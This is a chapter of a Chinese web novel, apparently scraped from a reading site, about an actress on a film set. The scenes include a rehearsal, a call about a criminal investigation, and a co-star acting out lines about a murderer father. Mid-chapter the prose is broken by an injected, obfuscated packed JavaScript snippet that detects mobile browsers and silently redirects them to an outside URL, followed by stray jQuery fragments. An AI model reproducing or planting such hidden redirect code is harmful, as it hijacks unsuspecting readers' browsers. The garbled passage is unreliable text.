125. 戏中
作品:《风闻绯事》 “你别说了!”丛静颜恨不得立刻捂住他的嘴巴,可手臂被他牢牢地抓住了,动弹不得。
“你听说从M国起飞的飞机发生空难,连机型都没看,睡衣套件外套就冲到机场,见到我就哭……”
“那是因为你上次紧急迫降到国外,三十个小时都联系不到你!”
“那不是意外嘛,机场里没有卖电话卡的,最近的售卖点也要十几公里之外,机组告诉我们两个小时就可以复飞了,谁想一等就是一昼夜呢!我不是下了飞机一有信号就给你回电话了嘛?”
“异国他乡也不老老实实呆着,非要跑去给人做急救当英雄,还错过大使馆登记,哼……”
韩叙声忍不住揉了揉她头顶柔软的发丝,笑意直达眼底。
“说漏嘴了吧?看来我猜得没错,你就是很在乎我,在乎我的生命,在乎我的健康,在乎我的事业,就是不在乎我的感情。”
丛静妍疑惑地瞪着他。
“不然,怎么不告诉我,这些年里你从来没有爱上过其他男人?”
“我……”
“哦不对,应该说,这些年里你一直爱着我?”
韩叙声张开双臂,将她揽入怀中,轻声笑了笑。
“没关系,这些年里,我也一直爱着你。”
“咔——”
修导的声音划破静谧的氛围,江知渺一瞬间从剧情中抽离,人却还僵硬地站在原地。
她无意中擦过眼角,发现自己竟然被这段剧情感动地流了泪。
对面的吴祐安呆呆地,从助理手中接过剧本,眼神却茫然地盯着她。
直到灯光一闪,情绪才终于回笼。
“有进步。”江知渺给他鼓鼓掌,“这一条你比我入戏。”
吴祐安嘿嘿一笑,凑上前来嬉皮笑脸地问道:“这专业水平,配得上你家经纪人了吧?”
江知渺从冉然手里结果水杯,白了他一眼,“人品水平还是差太多。”
“哎!我改,改还不行吗?”
江知渺顿时觉得自己成了那法海,要拆散一对有情人似的。
她摆摆手,拒绝了这个话题。
“这话光说可没用,是吧,小冉?”
冉然被点到名字,手一抖,水杯砰然掉落在地。
“对不起知渺姐!”她飞速地蹲下去捡,可那杯身仍是磕出了醒目的凹痕。
“一个杯子而已,换个新的就好了。”江知渺弯下腰,拍拍她的肩膀,“没关系的。”
“换个……新的吗?”
她嘀嘀咕咕地说了句什么,江知渺听得不真切,于是询问了一遍。
冉然仰起头,嘴角微微上扬,眯着眼睛笑了笑,“没事,知渺姐,我去房车上给你拿个新的。”
她刚走出两步,兜里的手机就响了起来。工作时间江知渺的手机都是她全程保管,听到这个不属于自己的铃声,她又退回去,把手机递给她。
江知渺正准备回到有树荫的休息区再背背接下来的台词,看到屏幕上“李璟意”三个字,立刻向周围张望了一圈。
片场很难找到一个清净的地方,今天上午有戏份的只有她和吴佑安。
吴佑安在导演身边回看方才的片段,手机已经响了几声,只能在这里接听了。
“喂,璟意。”
“知渺,对于沈筱悠的笔记本,我也有些新的发现,你猜测的方向应该没错。”
江知渺屏住呼吸,心提到了喉咙。
“你找出的那几个可疑的制片人和导演,都不在之前VZ的客户名单里——在娱乐圈这样一个熟人社会里,有一群人围在VZ身边,又有另一群人与他们毫无关联,而这两拨人的目的都是暗中谋利,表面上却相安无事。这不太可能,不是吗?”
江知渺跟着她的分析点了点头,“我也认为这一点很奇怪,以他们的作风不可能两边如此相安无事。”
“没错!”李璟意高声应和道:“既然他们选择自断一臂,舍弃了VZ这些客户,那就意味着真凶一定隐藏在另一批人背后。只要摸清这些人的意图,找到他们的弱点,就可以引蛇出洞。”
“意图吗……”江知渺自言自语似的低声说:“VZ是直接利用女孩们,从客户和女孩身上两头谋利。可另一批人,现在看来好像还没有从中获利?”
李璟意轻笑道:“只付出不收货,那岂不是成了大慈善家?我才不信他们有这样的好心,唯一的解释是,他们正在酝酿着更大的阴谋。”
这一点江知渺也无比赞同,倘若事情真的像是看上去那样简单,关旖旎又怎么可能自行了断。
“知渺姐,你在忙吗?能不能帮我听听这句词我说得……”
李璟意话音未落,耳畔骤然传入来自现实真切的声音。
原本就被她的推断惊得心跳加速,听到旁人呼唤,江知渺手忙脚乱地放下手机,在屏幕上飞快地点了几下。
通话界面如愿结束了,可慌张中她不小心点进了通话记录,颤抖失准的指尖恰好划过“邵聿”的名字,又发起了新的通话。
看到再次冒出来的通话界面,脑海中“嗡”地一声陷入空白,她茫然地抬起头,见来人是楚妍姝,乱跳的心才稍稍安放。
她迅速低下头去,在第一声拨号音响起前,及时挂断了电话。
“是妍姝啊?”她松了一口气,拍拍一旁折叠椅,“你今天不是在B组拍吗,怎么到A组来了?坐吧。”
楚妍姝没有立刻坐下,她一动不动地站在原地,临近中午,太阳快要升至最高点,刚好被她的头挡住,仿佛从白天直接进入傍晚。
江知渺把手机塞回外套衣兜,整理好怀中的剧本,又等了几秒,还不见她落座,于是又仰起头,尝试在背光中看清她的神情。
“妍姝,你要找我讨论台词吗?坐下说吧。”
“你在打电话吗?”
不知是不是阳光被挡住的原因,江知渺感觉她的语调莫名有些冰冷。
“没,不是什么要紧事。”
楚妍姝终于坐了下来,不过目光却迟迟没有与她对视,反而是低垂着落在剧本上。
“你遇到过那种,无论怎么努力也无法实现的愿望吗?”
江知渺茫然地眨了眨眼,这个问题对她来说不难回答,可要在这嘈杂的片场里讨论如此深刻的话题,她一时不知该给出怎样的答案。
“就像是,一个有着先天性心脏病的孩子,父母瞒着她,让她以为自己就是一个正常的孩子。”
楚妍姝忽地笑了起来,充满了苦涩。
“这个秘密完美地保守到她十八岁那年。她拿着远高于分数线的高分,如愿以偿地在第一志愿写下了‘警校’的编号,却在录取前接到校方电话,说她有先天性心脏病,当不了警察。”
她捂住脸,艰难地笑了两声,倏地扭头看向她,言语间满是豁然,可眉眼却纠结成两道深深的沟壑。
“妍姝……”江知渺被她的悲伤感染,不忍她继续沉浸在这样的情绪中,出言打断。
“你放心,这个故事并没有发生在我的身上,只是一个比喻而已。”
楚妍姝摆了摆手,身体后仰,将全身的力量卸下,仰倒在椅背上,直直地迎着明亮的太阳。
“不过有时候,我倒是觉得,不如给我这个命运吧,至少没有现在的这个那么残忍。”
她撑着扶手重新坐起身来,猛地抓住江知渺的手臂,纤细的指尖死死地扣紧她的皮肤,将她抓得生疼。
“妍姝,你怎么了?”
“我父亲就是凶手。”
江知渺倒吸了一口凉气,“你说什么?”
“我爸杀了人。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107987|171696||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她试图从楚妍姝的脸上读出玩笑或者恶作剧的迹象,可电光火石间,真切的唯有来自她的痛苦,让江知渺喘不上起来。
“他杀了人,既然要躲,为什么不躲好?”楚妍姝忽然放声大哭:“他要是藏一辈子,我还可以骗骗自己,告诉自己他死了,不会对我产生任何影响了。”
“现在被人抓住,他有想过我这个女儿吗?人们可以接受一个医生失去了父亲,却永远也不可能接受一个医生的父亲是杀人犯。”
“他是杀人犯,他的女儿就是杀人犯的女儿。杀人犯的女儿,怎么能救人呢?”
她的哭声戛然而止,“杀人犯”三个字从她口中咬着牙吐出来时,带着恶狠狠的恨意,听得江知渺心惊肉跳,全身都冒起冷汗。
不对,她说医生?
江知渺恍然大悟,她瞪大了眼睛,这才从楚妍姝的脸上察觉出细微的表演痕迹。
“这是……你的台词?”
楚妍姝瞬间松开了抓着她的手,仿佛摇身一变换了个人,眼角还挂着泪水,可笑意却已经肆意蔓延开来。
“是呀,知渺姐你忘了吗,程露露的父亲杀了她的母亲,程露露其实也是个假名字,她从医学院毕业后,改名换姓进入这家医院,当上了心外科医生,结果被人爆出父亲就是警察刚抓住的那个逃犯,于是被患者抵制,还停了职。”
江知渺想起来了,这是剧本最后两集的故事。后来丛静颜发动她们中学的同学老师们声援她,让院方和患者代表都知道她从学生时代就嫉恶如仇,一心想要成为医生治病救人,最终帮她解了困。
“这段是我的重头戏,但情绪什么的我总是觉得不太对,知渺姐你帮我看看,有哪里可以改进改进吗?”
说着,她拉起江知渺的手,撒娇似的晃了起来。
“姐,你的手怎么这么凉?很冷吗,我叫人再给你拿件外套过来。”
江知渺的心跳直到这时才慢慢平息,她勉强勾起一个微笑,“没事,我不冷,一会儿修导就叫我们去走戏了,那边风小一点。”
她错开楚妍姝关切的目光,清了清喉咙,“你这段台词很完美啊,我看不出有什么问题。”
楚妍姝的眼睛顿时亮了一下,很快又黯淡下来,她蔫蔫地说:“可我怕接不住别人的戏,一会儿跟我对戏的‘院长’是位老前辈了。”
“你对自己要求太高啦,‘院长’今年六十多岁,不但资历比我们老,人生阅历自然也比我们高出不少。”
她伸出手去,拍了拍楚妍姝的肩膀,用极尽温和的语气安慰她:“更何况表演是一种个性化的表达,对于同一个角色,每个人都会有不同的理解。现在这是你的角色,只要你尽全力赋予她生命力,她就是最完美的。”
楚妍姝被她说得热泪盈眶,不住地点头,“我明白了,谢谢你,知渺姐!听你说完我终于有信心了!”
她从椅子上跳起来,望着各种设备对准的拍摄中心,长长地舒了一口气。
“那我回B组啦,拜拜知渺姐。”话音未落,她就蹦蹦跳跳地跑远了。
“江老师,咱们可以去走戏了。”
场务抱着剧本朝她走过来,她点点头,低头拿起一直放在腿上的剧本,这才发现自己的手腕上留下几道清晰的红痕,应该是刚才楚妍姝说台词时太过用力留下的。
虽然即将杀青,可最后几场都是重头戏,修导习惯于把重要的剧情留在最后拍摄,所以最后的三天,全组仍然一丝一毫也不敢松懈,每天收工时都到了凌晨。
“咔——”
这是修导第九次叫停,片场立时静得连掉根针都能听见。
唯一能够听到的就是修导翻剧本的声音,清脆的纸张声响如同慢刀子,钝钝地划在每个人的耳膜上。
“好,我宣布,《流年似水》正式杀青——”

